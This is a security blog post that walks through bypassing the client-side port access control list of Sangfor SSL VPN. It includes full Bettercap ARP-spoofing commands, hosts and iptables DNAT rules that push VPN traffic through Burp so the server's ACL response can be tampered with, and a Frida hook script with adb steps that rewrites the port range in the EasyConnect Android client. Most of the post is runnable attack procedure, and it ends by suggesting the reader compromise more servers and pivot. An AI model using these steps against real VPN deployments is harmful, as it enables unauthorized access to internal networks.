Sangfor SSL VPN Port ACL Bypass in Practice

Saturday, March 24, 2018 🌐中文

Preface

First, a disclaimer: this is an old issue. To fix it, you only need to upgrade to M7.5. Some time ago, I happened to see someone in a security chat talking about bypassing the ACL of Sangfor SSL VPN. I’d wanted to try it myself, but the only reference I could find online was this post from two years prior: Bypassing Sangfor SSL VPN access control with Burp. Unfortunately, the author heavily mosaicked the screenshots, leaving very little useful information, and I could barely understand what they were doing.

So I spent some time digging into it. It’s not as complicated as that post made it sound—it’s essentially a man-in-the-middle attack: after the server returns the ACL list, you replace the port range. The client enforces access control on ports, and the server enforces access control on IPs. The original reporter also raised the question of whether IP restrictions could be bypassed, but that part wasn’t validated or explained. The comments were full of “worship”, which made me think IP-based access control could also be bypassed.

You could also hook the client to bypass its port enforcement, but that’s more work. Even though this is a simple topic, I picked up a few practical tricks during the process, so I’m recording them here.

Network Layer

I tried three methods, all of which require Burp Suite. Since this is a MITM attack, Burp needs to run in invisible (transparent) proxy mode.

invisible_proxying

Method 1: Bettercap

Bettercap is a MITM tool for real-world engagements, but it’s the least stable in a white-box lab setup.

  • Client host: Sangfor SSL VPN
  • MITM host: Bettercap + Burp Suite
bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080

The VPN server port is 443, so you need to redirect port 443 to Burp’s 8080. Of course, you can also run Burp as root and listen on 443 directly, which avoids the redirection.

sudo bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080 --custom-https-proxy burp_suite_ip --custom-https-proxy-port 8080 --custom-redirection "TCP 443 8080"

bettercap

Method 2: hosts

Environment:

  • Client host: Sangfor SSL VPN
  • MITM host: Bettercap + Burp Suite

You can also modify hosts directly, but Burp’s listening port must match the VPN port.

echo "target_ip vpn.test.com" >> /etc/hosts

Method 3: Destination NAT

This method is the most stable, applies to many scenarios, and works well when the client host cannot use a local proxy:

  1. The client checks and does not allow a system proxy.
  2. After enabling VPN on Android, the proxy setting in Wi‑Fi network settings becomes ineffective.

Sangfor VPN has poor Linux compatibility, so the client typically runs on Windows or mobile. It’s best to separate the gateway from the client host. Environment:

  • Client host: with Sangfor SSL VPN installed
  • MITM host: Burp Suite
  • MITM gateway: iptables
# 开启IPv4内核转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -t raw -F
iptables -t raw -X
iptables -t security -F
iptables -t security -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
# 假设客户端主机网段是192.168.1.0/24,客户端主机通过中间人网关机的eth0上网
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE
# 当访问VPN服务器的地址vpn_server_ip:443时,目标地址转换成burp_suite_ip:8080
iptables -t nat -A PREROUTING -d vpn_server_ip -p tcp --dport 443 -j DNAT --to-destination burp_suite_ip.:8080

Follow-up steps

First, set up Burp’s replacement rule. replace_rule

Then, start logging into the VPN.

target_request

After the /por/rclist.csp request finishes, immediately disable Burp proxying; otherwise traffic becomes too slow and the VPN disconnects. After disabling Burp, the network connection can still stay up. Method 3 is the most convenient here because you don’t need to touch the client host; Method 2 is more annoying; Method 1 may introduce delays.

DNAT

At this point, the client receives an ACL table whose port range has been tampered with.

malicious_acl

First, check that the PREROUTING rule number in the NAT table is 1.

> iptables -t nat -L --line-number
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    DNAT       tcp  --  anywhere             vpn_server_ip         tcp dpt:https to:burp_suite_ip:8080

Delete it, and you can bypass the client-side port ACL.

iptables -t nat -D PREROUTING 1

Application Layer

I only tested this on Android. The client was not protected/obfuscated, so it was fairly convenient. Open EasyConnect with jadx, then search for the keyword rclist.csp. keywords

Follow the references until you find a suitable place to hook the server’s response. code1 code2

Then write a hook script to set the port range to the maximum, and save it as 2.js.

function hookIt()
{
    var rclist=Java.use("com.sangfor.vpn.client.service.d.a");
    rclist.a.overload('java.lang.String').implementation=replacePorts;
}

function replacePorts(str)
{
    str = str.replace(/port="[^\"]+"/g, 'port="1~65535"');
    console.log("str replaced: " + str);
    var result = this.a(str);
    return result;
}

Java.perform(hookIt);

My Android device is 64-bit and rooted. Start the Frida service via adb:

adb push frida-server-10.7.6-android-arm64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-10.7.6-android-arm64
adb shell su -c /data/local/tmp/frida-server-10.7.6-android-arm64

Use frida-ps to find EasyConnect’s process name:

frida-ps -aU | grep sangfor

ps

Run Frida and specify the hook script and process name:

frida -U -l 2.js com.sangfor.vpn.client.phone

frida

You can see the port range has been modified.

In real engagements, the steps above are pretty cumbersome. You could also build an “unrestricted” client using Sangfor SSL VPN’s SDK, but that’s too much work just to bypass port restrictions. At that point you might as well compromise a few more servers and pivot into the internal network directly.

Reference

Frida Docs

iptables

Bettercap

Network SecuritySangforSSLVPN

Linux Post-Exploitation Notes: PAM Backdoor

eSIM Notes